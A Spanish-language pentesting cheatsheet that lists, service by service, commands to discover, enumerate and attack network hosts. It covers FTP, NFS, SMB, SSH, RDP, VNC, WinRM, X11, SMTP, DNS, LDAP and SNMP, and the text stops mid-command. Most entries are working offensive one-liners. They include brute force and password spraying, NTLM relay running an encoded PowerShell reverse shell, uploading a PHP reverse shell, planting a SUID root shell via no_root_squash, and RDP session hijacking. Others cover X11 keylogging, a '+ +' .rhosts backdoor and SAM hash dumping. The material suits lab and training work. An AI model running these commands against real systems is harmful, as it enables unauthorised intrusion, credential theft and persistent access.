← Cheatsheets Enumeración de red Del descubrimiento de hosts al ataque de cada servicio de red, con las invocaciones reales que se repiten en las máquinas. Cada servicio va por su fase: enumerar, buscar vulnerabilidades y explotar.
Descubrimiento Descubrimiento y escaneo 24 comandos Copiar todo
Descubrimiento de hosts TTL ≈64 Linux / ≈128 Windows: primer indicio del SO ping -c 1 <ip>Descubrir hosts vivos en la red local (capa 2) sudo arp-scan -l # o sudo netdiscover -r <network>/24Barrido de ping para descubrir hosts activos nmap -sn <network>/24 -oG hosts.txtBarrido ICMP en paralelo, mucho más rápido que el ping sweep de nmap fping -asgq <network>/24Barrido de un puerto por toda la subred sin nmap (pivoting) for i in {1..254}; do timeout 1 bash -c "echo '' > /dev/tcp/<network>.$i/22" 2>/dev/null && echo $i; donePing sweep de un segmento para hosts vivos fping -asgq <cidr>Escaneo de puertos Descubrimiento de puertos ultrarrápido y luego versiones rustscan -a <ip> --ulimit 5000 -- -sCVEscaneo masivo de todos los puertos a velocidad controlada sudo masscan -p1-65535 <ip> --rate 1000 -e <iface>Enumeración automática multiservicio (lanza nmap + herramientas por puerto) autorecon <ip>Escaneo completo de puertos TCP, rápido y a fichero grepeable nmap -p- --open -sS --min-rate 5000 -n -Pn <ip> -oG allPortsEscaneo UDP de los puertos más comunes (SNMP, DNS, IKE, TFTP...) sudo nmap -sU --top-ports 100 --min-rate 5000 -Pn -n --open <ip>Escaneo UDP de los 100 puertos más comunes sudo nmap -sU --top-ports 100 --min-rate 5000 -Pn <ip>Barrido TCP completo rápido a fichero grepeable sudo nmap -sS -p- --min-rate 10000 -oG allPorts <ip>Barrido de puertos ultrarrápido con masscan masscan -p1-65535 <ip> --rate 1000 -e tun0Servicios y versiones Escaneo con detección de SO, versiones y scripts sobre una lista de hosts nmap -A -iL hosts.txt -oN host-enum.txtVersiones y scripts por defecto sobre los puertos abiertos nmap -sCV -p<ports> <ip> -oN targetedScanPerfilar un Domain Controller por sus puertos clave nmap -p53,88,135,139,389,445,464,593,636,3268,3269 -sCV <ip>Capturar el banner de un servicio a mano (versión y producto) nc -nv <ip> <port> # banner grabbing manual del servicioServicios y scripts sobre los puertos abiertos nmap -p<ports> -sCV --version-all <ip> -oN targetedVulnerabilidades Barrido de vulnerabilidades conocidas con los scripts NSE nmap -p<ports> --script vuln <ip>Barrido de vulnerabilidades conocidas con NSE nmap --script vuln -p<ports> <ip>Utilidades Extraer los puertos del grepable para el segundo escaneo extractPorts allPorts # open ports to the clipboardLocalizar los scripts NSE que existen para un servicio ls /usr/share/nmap/scripts | grep -iE '<service>' # o locate '*.nse'Resolver el dominio y los vhosts del objetivo en local echo '<ip> <domain> <vhost>' | sudo tee -a /etc/hostsTransferencia y compartición FTP · 21 16 comandos Copiar todo
Enumerar Versión del servidor y comprobación de acceso anónimo nmap -p21 -sCV --script ftp-anon,ftp-syst <ip>Hablar con el FTP a mano para leer el banner y probar comandos nc -nv <ip> 21; telnet <ip> 21Conexión cifrada al FTP (FTPS con STARTTLS) openssl s_client -connect <ip>:21 -starttls ftpEstado, tipo de sistema y listado detallado dentro del cliente ftp> status; ftp> syst; ftp> ls -la; ftp> pwdInteractuar con el FTP a bajo nivel nc -nv <ip> 21Acceso anónimo Acceso anónimo (usuario anonymous, sin contraseña) ftp <ip> # anonymous : anonymousEspejar recursivamente todo el FTP anónimo wget -m --no-passive ftp://anonymous:anonymous@<ip>Fuerza bruta Fuerza bruta de la contraseña del FTP hydra -l <user> -P <rockyou.txt> ftp://<ip> -t 16 -IFuerza bruta del servicio FTP hydra -l <user> -P <rockyou.txt> ftp://<ip>Transferencia / explotación Descargar todo en modo binario sin confirmar cada fichero ftp> binary; ftp> prompt off; ftp> mget *Descarga recursiva autenticada (a veces en puertos no estándar) wget -r ftp://<user>:<pass>@<host>:2121/ProFTPD mod_copy: copia arbitraria de ficheros (CVE-2015-3306) proxychains ftp <ip> → site cpfr <src> → site cpto <dest>Subir una webshell si el FTP escribe en un directorio web ftp> put rev.phpAlternar modo pasivo/ASCII y mostrar un fichero por pantalla ftp> passive; ftp> ascii; ftp> get <file> -Vulnerabilidades Buscar exploits del servidor por producto y versión searchsploit proftpd; searchsploit vsftpdComprobar backdoors conocidos (vsftpd 2.3.4, ProFTPd 1.3.3c) nmap -p21 --script ftp-vsftpd-backdoor,ftp-proftpd-backdoor <ip>TFTP · 69 7 comandos Copiar todo
Escaneo / banner Detectar TFTP (UDP) y enumerar ficheros conocidos sudo nmap -sU -p69 -sV --script tftp-enum <ip>Descargar / subir Cliente TFTP: sin autenticación, se puede leer y escribir tftp <ip> → mode binary → get <file> → put <file>Descargar un fichero por TFTP con curl curl -s tftp://<ip>/<file> -o <file>Subir un fichero por TFTP con curl (si hay escritura) curl -T <file> tftp://<ip>/<file>Descargar con atftp (config de routers, backups, .conf) atftp --get -r <file> -l <dest> <ip>Ficheros comunes Probar nombres de fichero habituales (configs de red, credenciales) for f in running-config startup-config config.text /etc/passwd win.ini boot.ini; do tftp <ip> -c get $f; doneAdivinar nombres de fichero servidos por TFTP en masa msfconsole -q -x 'use auxiliary/scanner/tftp/tftpbrute; set RHOSTS <ip>; set DICTIONARY <files.txt>; run'NFS · 111 / 2049 10 comandos Copiar todo
Enumerar Listar los recursos NFS exportados showmount -e <ip>Enumerar exports, ficheros y permisos con NSE nmap -p111,2049 --script nfs-ls,nfs-showmount,nfs-statfs <ip>Enumerar exports, listar ficheros y ver permisos con NSE nmap --script nfs-ls,nfs-showmount,nfs-statfs -p111,2049 <ip>Montar Montar un export NFS en local sudo mount -t nfs <ip>:/<share> /mnt/<share> -o nolockMontar un recurso NFS en local mount -t nfs <ip>:/<share> ./target-NFS -o nolockEscalada UID / no_root_squash no_root_squash: crear el UID esperado para leer ficheros sudo useradd -u <uid> <user>; sudo -u <user> cat /mnt/<share>/secretono_root_squash: plantar un SUID root desde el atacante sudo cp /bin/bash /mnt/<share>/bash; sudo chown root:root /mnt/<share>/bash; sudo chmod +s /mnt/<share>/bashVer el UID/GID dueño de cada fichero (para suplantarlo) ls -n /mnt/<share> # show numeric UID/GID of filesDesmontar Desmontar el recurso NFS al terminar sudo umount /mnt/<share>Desmontar el recurso NFS umount ./target-NFSrsync · 873 9 comandos Copiar todo
Enumerar módulos Detectar el demonio rsync y su banner de protocolo nmap -sV -p873 <ip>; nc -nv <ip> 873Listar los módulos (recursos) que expone rsync rsync -av --list-only rsync://<ip>/ # list available modulesListar el contenido de un módulo sin descargarlo rsync -av --list-only rsync://<ip>/<module>Descargar Descargar recursivamente un módulo entero rsync -av rsync://<ip>/<module> ./loot # download the whole modulersync: descargar un modulo entero para revisarlo rsync -av rsync://<ip>/<module> ./lootSubir Subir ficheros si el módulo permite escritura rsync -av ./<file> rsync://<ip>/<module> # upload if the module is writablersync: subir ficheros a un modulo escribible rsync -av ./evil root@<ip>::<module>/ # if the module is writableSobre SSH Sincronizar sobre SSH cuando rsync va tunelizado rsync -av -e 'ssh -p2222' <user>@<ip>:/path ./ # rsync over SSHrsync sobre SSH: sincronizar con puerto no estandar rsync -av -e 'ssh -p<lport>' <user>@<ip>:/home/ ./lootSMB · 139 / 445 38 comandos Copiar todo
Enumerar Nombre de equipo, dominio y rol (¿DC?) por SMB netexec smb <ip>Enumeración SMB/RPC todo en uno (versión moderna) enum4linux-ng -A -u <user> -p <pass> <ip>Enumerar recursos, usuarios y SO con los scripts NSE nmap -p445 --script smb-enum-shares,smb-enum-users,smb-os-discovery <ip>Nombres NetBIOS del host y de la subred (139) nmblookup -A <ip>; nbtscan -r <network>/24Usuarios conectados, sesiones y política de contraseñas netexec smb <ip> -u <user> -p <pass> --loggedon-users --sessions --pass-polVer qué usuarios tienen sesión iniciada netexec smb <ip> -u <user> -p '<pass>' --loggedon-usersSesión nula / guest Sesión nula: recursos compartidos y permisos netexec smb <ip> -u '' -p '' --sharesRID cycling con guest para sacar la lista de usuarios netexec smb <ip> -u 'guest' -p '' --rid-bruteRID cycling filtrando solo las cuentas de usuario crackmapexec smb <dc> -u 'guest' -p '' --rid-brute 2>/dev/null | grep SidTypeUserUsuarios y RID Enumerar usuarios y grupos del dominio por MS-RPC rpcclient -U '' -N <ip> -c 'enumdomusers;querydispinfo;enumdomgroups'Enumerar usuarios y políticas por MS-SAMR (impacket) samrdump.py <ip>; impacket-samrdump <ip>RID cycling manual para traducir RIDs a nombres de usuario for i in $(seq 500 1100); do rpcclient -U '' -N <ip> -c "queryuser 0x$(printf '%x' $i)" 2>/dev/null | grep -i 'User Name'; doneVolcar los usuarios del dominio a un fichero listo para spraying netexec smb <ip> -u <user> -p <pass> --users | awk '{print $5}' | tail -n +4 | head -n -1 > users.txtEnumerar usuarios por MSRPC (impacket) samrdump.py <ip>Enumerar usuarios y grupos del dominio por SID brute (RID cycling) impacket-lookupsid <domain>/<user>:<pass>@<ip>Shares: listar y navegar Listar recursos sin credenciales smbclient -N -L //<ip>/Acceder a un recurso y descargar ficheros (get, mget) smbclient //<ip>/<share> -U '<user>%<pass>'Listar un recurso entero de forma recursiva en una sola orden smbclient //<ip>/<share> -U '<user>%<pass>' -c 'recurse ON; ls'Listar recursivamente el contenido de un recurso smbmap -H <ip> -r <share>Rociar credenciales y listar shares en una subred netexec smb <cidr> -u <user> -p '<pass>' --sharesShares: recursivo / spider Recorrer recursivamente un recurso y sus permisos smbmap -H <ip> -u <user> -p <pass> -R <share>Indexar ficheros de todos los recursos legibles netexec smb <ip> -u <user> -p <pass> -M spider_plusShares: descargar / subir Descargar un fichero concreto del recurso (y --upload para subir) smbmap -H <ip> -u <user> -p <pass> --download '<share>\<file>'Descargar recursivamente todo un recurso compartido smbclient //<ip>/<share> -U '<user>%<pass>' -c 'recurse ON; prompt OFF; mget *'Descargar un fichero de un recurso SMB smbmap -H <ip> --download '<share>\<file>'Subir un fichero a un recurso SMB smbmap -H <ip> --upload <file> '<share>\<file>'Shares: servidor propio Montar un recurso SMB propio para transferir ficheros smbserver.py smbFolder $(pwd) -smb2support -username <user> -password <pass>Credenciales / Pass-the-Hash Password spraying: una contraseña contra muchos usuarios netexec smb <ip> -u <users.txt> -p '<pass>' --continue-on-successValidar un hash NT por Pass-the-Hash (Pwn3d! = shell) netexec smb <ip> -u <user> -H <hash>Autenticación local: cuentas de la SAM, no del dominio netexec smb <ip> -u <user> -p <pass> --local-authVolcar los hashes locales de la SAM (requiere admin local) netexec smb <ip> -u <user> -p <pass> --samEjecución / RCE Ejecución remota de comandos por SMB/WMI con credenciales impacket-psexec <user>:'<pass>'@<ip>; impacket-smbexec <user>:'<pass>'@<ip>; impacket-wmiexec <user>:'<pass>'@<ip>Ejecutar un comando por SMB netexec smb <ip> -u Administrator -p '<pass>' -x 'whoami' --exec-method smbexecShell SYSTEM por SMB con credenciales (psexec) impacket-psexec <user>:'<pass>'@<ip>Relay NTLM Reenviar la autenticación NTLM capturada a otro host (relay, sin SMB signing) impacket-ntlmrelayx --no-http-server -smb2support -t <target> -c '<cmd>'Relay NTLM a SMB para volcar la SAM impacket-ntlmrelayx --no-http-server -smb2support -t <ip>Relay NTLM ejecutando una reverse shell impacket-ntlmrelayx --no-http-server -smb2support -t <ip> -c 'powershell -e <base64>'Vulnerabilidades Comprobar vulnerabilidades clásicas de SMB (EternalBlue) nmap -p445 --script smb-vuln-ms17-010,smb-vuln-ms08-067 <ip>Acceso remoto SSH · 22 20 comandos Copiar todo
Escaneo / banner Versión de OpenSSH (el banner orienta la distro) nmap -p22 -sV <ip>Algoritmos soportados y debilidades de la configuración ssh-audit <ip>Banner del servidor: versión de OpenSSH y pista de la distribución nc -nv <ip> 22 # banner: OpenSSH_x.y reveals version and sometimes distroVolcar las claves de host que ofrece el SSH (versión y algoritmos) ssh-keyscan <ip>Conexión Acceso reutilizando credenciales filtradas ssh <user>@<ip>Copiar ficheros por SSH (scp) o sesión interactiva sftp scp <user>@<ip>:/path/<file> . # or sftp <user>@<ip>Forzar autenticación por contraseña ssh <user>@<ip> -o PreferredAuthentications=passwordIniciar sesión con clave privada ssh -i <private.key> <user>@<ip>Opciones / bypass legacy Entrar en servidores SSH antiguos habilitando algoritmos legacy sshpass -p '<pass>' ssh -o KexAlgorithms=+diffie-hellman-group1-sha1 -o HostKeyAlgorithms=+ssh-rsa <user>@<ip>Evitar los avisos de host al reconectar en labs ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null <user>@<ip>Ver los métodos de autenticación aceptados y forzar contraseña ssh -v <user>@<ip> -o PreferredAuthentications=passwordAutenticarse solo con clave pública ssh <user>@<ip> -o PreferredAuthentications=publickey -i id_rsaEscape de shell restringida Escapar de una shell restringida (rbash) al conectar ssh <user>@<ip> -t 'bash --noprofile' # o dentro: vi → :!/bin/shClaves SSH Generar par de claves y su authorized_keys para inyectar ssh-keygen -t rsa -b 2048 -f id_rsa; cat id_rsa.pub > authorized_keysEntrar con la clave privada robada o inyectada chmod 600 id_rsa && ssh -i id_rsa <user>@<ip>Crackear la passphrase de una clave privada protegida ssh2john id_rsa > hash; john --wordlist=<rockyou.txt> hashAbuso de CA de SSH: firmar un certificado como root ssh-keygen -s <ca_key> -I atacante -n root -V +52w keypair.pubFuerza bruta Fuerza bruta / password spraying por SSH (pocos hilos) hydra -L <users.txt> -P <rockyou.txt> ssh://<ip> -t 4Probar credenciales por SSH en masa y ver cuáles entran netexec ssh <ip> -u <user> -p <passwords.txt> --continue-on-successEnum. usuarios / CVE Enumerar usuarios válidos por diferencia de tiempos (OpenSSH < 7.7) python3 sshUsernameEnum.py --port 22 --userList <users.txt> <ip> # CVE-2018-15473Telnet · 23 6 comandos Copiar todo
Escaneo / banner Versión, si cifra la sesión y datos NTLM (equipos Windows) nmap -p23 -sV --script telnet-encryption,telnet-ntlm-info <ip>Conectar a mano: banner del servicio y prueba de login telnet <ip> 23 # banner and manual loginCapturar el banner con netcat (a veces filtra el SO o el producto) nc -nv <ip> 23 # banner may leak OS or productLogin / fuerza bruta Fuerza bruta de credenciales de Telnet hydra -L <users.txt> -P <rockyou.txt> telnet://<ip> -t 4 -IFuerza bruta de Telnet con el script NSE nmap -p23 --script telnet-brute --script-args userdb=<users.txt>,passdb=<rockyou.txt> <ip>Probar credenciales por defecto habituales en equipos y routers telnet <ip> # try admin/admin, root/root, or no passwordr-services · 512 / 513 / 514 9 comandos Copiar todo
Enumerar Detectar rexec/rlogin/rsh (protocolos de confianza antiguos) nmap -p512,513,514 -sV <ip>Ver quién está conectado y detalles de sesión rwho; rusers -al <ip>Acceso (confianza) Iniciar sesión por rlogin (confianza por .rhosts) rlogin <ip> -l <user> # if .rhosts / hosts.equiv exist, logs in without a passwordEjecutar un comando remoto por rsh/rexec rsh <ip> -l <user> 'id' # or rexecR-services: copiar un fichero remoto con rcp rcp <user>@<ip>:/etc/passwd . # remote copy, no overwrite promptR-services: ejecutar un comando con credenciales por rexec rexec -l <user> -p <pass> <ip> idLogin / fuerza bruta Fuerza bruta de rsh/rlogin cuando no hay confianza hydra -L <users.txt> -P <rockyou.txt> rsh://<ip>; hydra -L <users.txt> rlogin://<ip>Post-acceso Relaciones de confianza que permiten acceso sin contraseña cat /etc/hosts.equiv ~/.rhosts # trust relationships (post-access)Post-explotación: confiar en cualquier host y usuario para esta cuenta echo '+ +' > ~/.rhosts # post-exploit: trust every host/user for this accountRDP · 3389 15 comandos Copiar todo
Enumerar Dominio, hostname, nivel de cifrado y si exige NLA nmap -p3389 --script rdp-ntlm-info,rdp-enum-encryption <ip>Todos los scripts RDP: hostname, dominio, cifrado y NLA nmap -p3389 -sV --script rdp* <ip> # rdp-ntlm-info, rdp-enum-encryptionAuditar la configuración de seguridad del RDP (NLA, cifrado) rdp-sec-check.pl <ip>Acceso Conectar con portapapeles y una unidad compartida (transferir ficheros) xfreerdp /v:<ip> /u:<user> /p:<pass> +clipboard /drive:shared,/tmp /cert:ignoreCliente RDP alternativo desde Linux rdesktop -u <user> -p <pass> <ip> # cliente alternativoSesión RDP básica ajustando la resolución xfreerdp /v:<ip> /u:<user> /p:'<pass>' /dynamic-resolution /cert:ignoreConectar a RDP desde Linux (rdesktop) rdesktop -u <user> -p <pass> <ip>Fuerza bruta Password spraying / fuerza bruta contra RDP crowbar -b rdp -s <ip>/32 -U <users.txt> -c '<pass>' # o hydra -L <users.txt> -p '<pass>' rdp://<ip>Fuerza bruta del servicio RDP hydra -L <users.txt> -p '<pass>' <ip> rdpPass-the-Hash Pass-the-Hash por RDP (requiere Restricted Admin Mode) xfreerdp /v:<ip> /u:<user> /pth:<hash> /cert:ignorePass-the-Hash contra RDP (Restricted Admin) xfreerdp /v:<ip> /u:<user> /pth:<hash>Robo de sesión / RestrictedAdmin Habilitar Restricted Admin en la víctima para poder usar PtH por RDP reg add HKLM\System\CurrentControlSet\Control\Lsa /v DisableRestrictedAdmin /t REG_DWORD /d 0 /fSecuestrar la sesión RDP de otro usuario sin su contraseña query user; tscon <session_id> /dest:<tu_sesion> # session hijack (as SYSTEM)Secuestrar la sesión RDP de otro usuario tscon <session_id> /dest:<own_session>RDP: secuestrar la sesion de otro usuario con un servicio SYSTEM (tscon) sc.exe create sessionhijack binpath= "cmd.exe /k tscon <session_id> /dest:<own_session>" & net start sessionhijackVNC · 5900 8 comandos Copiar todo
Escaneo / banner Versión, título y bypass de autenticación de RealVNC (CVE-2006-2369) nmap -p5900-5906 --script vnc-info,vnc-title,realvnc-auth-bypass <ip>Comprobar si el VNC acepta conexiones sin autenticación msfconsole -q -x 'use auxiliary/scanner/vnc/vnc_none_auth; set RHOSTS <ip>; run'Conectar Conectar al escritorio VNC (comprueba acceso sin contraseña) vncviewer <ip>:5900 # sometimes without authenticationConectar usando un fichero de contraseña VNC recuperado vncviewer -passwd <path>/passwd <ip>:5900Login / fuerza bruta Fuerza bruta de la contraseña de VNC hydra -P <rockyou.txt> vnc://<ip> # VNC uses only a password, no usernameContraseña guardada Descifrar un fichero de contraseña VNC guardado (DES con clave fija) vncpwd <path>/passwd # decrypt a stored VNC password (fixed DES key)Descifrar la contraseña VNC a mano con la clave DES fija echo -n <hex> | xxd -r -p | openssl enc -d -des-cbc -K e84ad660c4721ae0 -nopadLocalizar la contraseña VNC guardada (registro de Windows o ~/.vnc) reg query 'HKLM\SOFTWARE\RealVNC\vncserver' /v Password # or ~/.vnc/passwd on LinuxWinRM · 5985 / 5986 13 comandos Copiar todo
Enumerar Detectar el servicio de administración remota de Windows nmap -p5985,5986 -sV <ip> # 5985 http / 5986 httpsValidar credenciales (netexec) Validar credenciales por WinRM (Pwn3d! indica shell disponible) netexec winrm <ip> -u <user> -p <pass> # (Pwn3d!) = acceso confirmadoPassword spraying contra WinRM netexec winrm <ip> -u <users.txt> -p <rockyou.txt> --continue-on-successPass-the-Hash por WinRM: confirmar acceso con el hash NT netexec winrm <ip> -u <user> -H <hash>Shell interactiva (evil-winrm) Shell interactiva de PowerShell por WinRM evil-winrm -i <ip> -u <user> -p '<pass>'Pass-the-Hash por WinRM (sin contraseña en claro) evil-winrm -i <ip> -u <user> -H <hash>Cargar scripts .ps1 y binarios locales dentro de la sesión evil-winrm -i <ip> -u <user> -p '<pass>' -s ./scripts -e ./exesConectar por RDP desde Linux (xfreerdp) xfreerdp /u:<user> /p:'<pass>' /v:<ip>Ejecución (WMI/comando) Ejecutar comandos por WMI (alternativa a WinRM) wmiexec.py <user>:'<pass>'@<ip> 'whoami' # WMI · 135Ejecutar un comando puntual por WinRM sin abrir shell netexec winrm <ip> -u <user> -p <pass> -x 'whoami /all'Ejecutar un comando por WMI (impacket) wmiexec.py <user>:'<pass>'@<ip> '<command>'TLS / certificado Shell por WinRM cifrado en el puerto 5986 evil-winrm -i <ip> -u <user> -p '<pass>' -S # WinRM sobre TLS (5986)Acceso por WinRM con certificado (típico tras abusar de ADCS) evil-winrm -i <ip> -c certificate.pem -k priv-key.pem -S # certificate authenticationX11 · 6000 8 comandos Copiar todo
Escaneo / banner Comprobar si el servidor X acepta conexiones sin control nmap -p6000-6005 --script x11-access <ip>Acceso Confirmar el acceso y leer la geometría de la pantalla xdpyinfo -display <ip>:0 # confirm access and read screen geometryListar las ventanas abiertas de la sesión X xwininfo -root -tree -display <ip>:0 # list open windowsCaptura de pantalla Hacer una captura del escritorio remoto vía X11 xwd -root -display <ip>:0 -out cap.xwd; convert cap.xwd cap.pngCaptura del escritorio remoto en una línea con ImageMagick import -display <ip>:0 -window root cap.png # ImageMagick one-linerKeylogging / inyección Capturar las pulsaciones de teclado de la sesión X xspy <ip>:0 # log the keystrokesInyectar pulsaciones en la sesión X abierta xdotool --display <ip>:0 key ctrl+alt+t # inject keystrokes if it is openAbrir una terminal en la pantalla de la víctima si lo permite DISPLAY=<ip>:0 xterm # pop a terminal on the victim's screen if XTest is allowedCorreo SMTP · 25 / 587 13 comandos Copiar todo
Enumerar Versión, comandos aceptados, open relay e info NTLM del SMTP nmap -p25,465,587 -sCV --script smtp-commands,smtp-open-relay,smtp-ntlm-info <ip>Interactuar con el servicio SMTP a mano telnet <ip> 25Enumerar usuarios Hablar con el SMTP a mano: VRFY/EXPN para enumerar usuarios telnet <ip> 25 → HELO x → VRFY <user> → EXPN <list>Comprobar si un usuario existe con VRFY echo -e 'VRFY <user>' | nc -nv <ip> 25Enumerar usuarios en masa por VRFY smtp-user-enum -M VRFY -U <users.txt> -t <ip>Enumerar usuarios por RCPT TO cuando VRFY está deshabilitado smtp-user-enum -M RCPT -U <users.txt> -D <domain> -t <ip>Enumerar usuarios de Office365 del dominio python3 o365spray.py --enum -U <users.txt> --domain <domain>Enviar correo Enviar un correo de prueba con adjunto (phishing/open relay) swaks --to <dst> --from <src> --server <ip> --body msg --attach @<file>Probar si el servidor reenvía correo de terceros (open relay) swaks --from <src> --to <dst> --server <ip> --header 'Subject: x' --body 'y' # test de open relayProbar el open-relay del servidor SMTP swaks --from <a>@<domain> --to <b>@<domain> --server <ip>Fuerza bruta / spray Fuerza bruta de credenciales SMTP hydra -L <users.txt> -P <rockyou.txt> -f <ip> smtp -IEnumerar y rociar contraseñas contra Office 365 o365spray --enum -U <users.txt> --domain <domain> # y --spray -p '<pass>'Password spraying controlado contra Office365 python3 o365spray.py --spray -U <users.txt> -p '<pass>' --count 1 --lockout 1IMAP / POP3 · 110 / 143 / 993 / 995 11 comandos Copiar todo
Enumerar Versión y capacidades de los servicios de buzón nmap -p110,143,993,995 -sCV --script imap-capabilities,pop3-capabilities <ip>Conectar por TLS a IMAPS/POP3S para hablar el protocolo a mano openssl s_client -connect <ip>:imaps # o :pop3s (143/110 sobre TLS)Conectar a IMAPS por TLS openssl s_client -connect <ip>:imapsConectar a POP3S por TLS openssl s_client -connect <ip>:pop3sAcceso / leer correo Autenticarse en IMAPS con curl y ver el diálogo (-v) curl -k 'imaps://<ip>' --user <user>:<pass> -vComandos IMAP para listar buzones y leer el primer correo a LOGIN <user> <pass> → a LIST "" "*" → a SELECT INBOX → a FETCH 1 BODY[]Comandos POP3 para autenticarse y descargar un correo USER <user> → PASS <pass> → LIST → RETR 1 # protocolo POP3Leer los buzones locales en busca de credenciales (post-acceso) cat /var/mail/* /var/spool/mail/* 2>/dev/null | grep -C 10 -i passAutenticarse en IMAPS con cURL curl -k 'imaps://<ip>' --user <user>:<pass>IMAP: leer el cuerpo del primer mensaje a1 FETCH 1 (BODY[TEXT])Fuerza bruta Fuerza bruta de credenciales IMAP/POP3 hydra -L <users.txt> -P <rockyou.txt> -f <ip> imap -I # o pop3Directorio y nombres DNS · 53 16 comandos Copiar todo
Consultas de registros Servidores de nombres del dominio dig ns <domain> @<ip>Volcar todos los registros disponibles dig any <domain> @<ip>Consultas rápidas de registros A, MX y TXT dig +short a <domain> @<ip>; dig +short mx <domain> @<ip>; dig +short txt <domain> @<ip>Servidores de nombres, de correo e intento de transferencia con host host -t ns <domain>; host -t mx <domain>; host -l <domain> <ns>Consultar los servidores de correo del dominio host -t MX <domain>Consultar los servidores de nombres del dominio host -t NS <domain>Inverso (PTR) Resolución DNS inversa para descubrir el FQDN nslookup -type=PTR <ip> <ip>Versión del servidor Registro SOA y versión del servidor BIND dig soa <domain> @<ip>; dig CH TXT version.bind @<ip>Transferencia de zona Transferencia de zona: descubre subdominios y hosts internos dig axfr <domain> @<ip>Reconocimiento DNS completo (AXFR y diccionario de subdominios) dnsrecon -d <domain> -n <ip> -t axfr,brt # transferencia + fuerza brutaFuerza bruta de subdominios Enumeración DNS todo en uno (AXFR, brute, MX) dnsenum --dnsserver <ip> <domain>Fuerza bruta de subdominios contra el servidor DNS gobuster dns -d <domain> -r <ip> -w <subdomains.txt>Fuerza bruta de subdominios resolviendo contra el DNS del objetivo for s in $(cat <subdomains.txt>); do dig +short $s.<domain> @<ip> | grep -q . && echo $s; doneFuerza bruta de subdominios contra un DNS dnsenum --dnsserver <nameserver> --enum -f <wordlist> <domain>Enumeración pasiva de subdominios subfinder -d <domain> -vScripts NSE Comprobar recursión abierta y cache snooping nmap -sSU -p53 --script dns-recursion,dns-nsid,dns-cache-snoop <ip>LDAP · 389 / 636 8 comandos Copiar todo
Enumerar Naming context y datos expuestos por bind anónimo nmap -p389,636 --script ldap-rootdse,ldap-search <ip>Sacar el DN base del árbol sin credenciales ldapsearch -x -H ldap://<ip> -s base namingcontextsEnumerar el LDAP con NSE por bind anónimo nmap -p389 --script ldap-search --script-args 'ldap.username=,ldap.qfilter=all' <ip>Bind anónimo Comprobar si el LDAP permite conexión sin autenticar netexec ldap <ip> -u '' -p '' # check anonymous bindConsultas Volcar todo el árbol LDAP por bind anónimo ldapsearch -x -H ldap://<ip> -b 'dc=<dc>,dc=<dc>'Enumerar usuarios y grupos del dominio por LDAP windapsearch -d <domain> --dc-ip <ip> -U # o --da / -PUSacar usuarios y descripciones (a veces con contraseñas) ldapsearch -x -H ldap://<ip> -b 'dc=<dc>,dc=<dc>' '(objectClass=user)' sAMAccountName descriptionVolcado autenticado del directorio ldapsearch -x -H ldap://<ip> -D '<user>@<domain>' -w '<pass>' -b 'dc=<dc>,dc=<dc>'finger · 79 8 comandos Copiar todo
Escaneo / banner Detectar el daemon finger y su versión nmap -sV -p79 --script finger <ip>Enumerar usuarios Listar los usuarios actualmente conectados finger @<ip> # list of logged-in usersComprobar si un usuario existe y ver sus datos finger <user>@<ip> # does the user exist? shell, home, last loginConsultas comodín: algunos daemons listan a todos los usuarios finger '.@<ip>' ; finger '0@<ip>' ; finger 'a b c@<ip>'Probar una lista corta de usuarios habituales for u in root admin test user bin daemon operator; do finger $u@<ip>; doneEnumerar usuarios válidos en masa contra finger finger-user-enum.pl -U <users.txt> -t <ip>Enumerar usuarios con el módulo de Metasploit msfconsole -q -x 'use auxiliary/scanner/finger/finger_users; set RHOSTS <ip>; set USERS_FILE <users.txt>; run'Relay de finger: enumerar a través de un host intermedio finger 'root@<ip>@<ip2>' # finger relay: pivot enumeration through a middle hostGestión e infraestructura RPC / portmapper · 111 / 135 8 comandos Copiar todo
Portmapper (111) Portmapper (111): programas RPC registrados (NFS, NIS, rusersd...) rpcinfo -p <ip> # or nmap -sSUC -p111 <ip>Mapear los servicios y puertos que expone el portmapper rpcbind -p <ip>; nmap -sV -p111 --script rpcinfo <ip>NFS por RPC Listar los exports NFS anunciados por el portmapper showmount -e <ip> # NFS exports advertised via rpcbindMSRPC (135) Volcar el endpoint mapper de MSRPC (135) y sus interfaces impacket-rpcdump <ip> | grep -iE 'ncacn|MS-' # MSRPC 135Buscar interfaces abusables para coerción de autenticación impacket-rpcdump <ip> | grep -iE 'MS-RPRN|MS-PAR|MS-EFSR' # coercion (PrintNightmare/PetitPotam)rpcclient (sesión nula) Consultar el DCE/RPC de Windows por sesión nula rpcclient -U '' -N <ip> -c 'srvinfo;enumdomusers;querydominfo'Grupos del dominio, política de contraseñas y SIDs por sesión nula rpcclient -U '' -N <ip> -c 'enumdomgroups;getdompwinfo;lsaenumsid'RID cycling: resolver SIDs a nombres de usuario por sesión nula for i in $(seq 500 1100); do rpcclient -U '' -N <ip> -c "lookupsids S-1-5-21-<domain-sid>-$i"; doneSNMP · 161 16 comandos Copiar todo
Community strings Adivinar la community string por fuerza bruta onesixtyone -c /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt <ip>Fuerza bruta de community strings SNMP onesixtyone -c <community.txt> <ip>Walk / volcado Volcar el árbol MIB con la community por defecto snmpwalk -v2c -c public <ip>Volcado masivo y más rápido a fichero snmpbulkwalk -c public -v2c <ip> > snmp.txtRecorrer OIDs a gran velocidad (mucho más rápido que snmpwalk en rangos grandes) braa <community>@<ip>:.1.3.6.*Enumeración SNMP formateada (usuarios, procesos, red) snmp-check <ip> -c publicVolcar todo el árbol SNMP con GETBULK snmpbulkwalk -v2c -c <community> <ip>OIDs útiles Rama concreta del MIB: cuentas de usuario snmpwalk -v2c -c public <ip> 1.3.6.1.4.1.77.1.2.25 # usersProcesos en ejecución (a veces con credenciales en la línea) snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.4.2.1.2 # processesLínea de comandos completa de los procesos (a veces credenciales) snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.4.2.1.5 # process parametersComandos extendidos configurados (a veces se ejecutan como root) snmpwalk -v2c -c public <ip> nsExtendObjects # NET-SNMP-EXTEND-MIBListar el software instalado en el sistema snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.25.6.3.1.2 # installed softwareEnumerar los puertos TCP en escucha por SNMP snmpwalk -v2c -c public <ip> 1.3.6.1.2.1.6.13.1.3 # local TCP portsSNMPv3 Consulta autenticada con SNMPv3 (usuario y dos contraseñas) snmpwalk -v3 -l authPriv -u <user> -a SHA -A <authpass> -x AES -X <privpass> <ip>Loot / filtrado Buscar credenciales y datos sensibles en el volcado grep -iE 'pass|user|community' 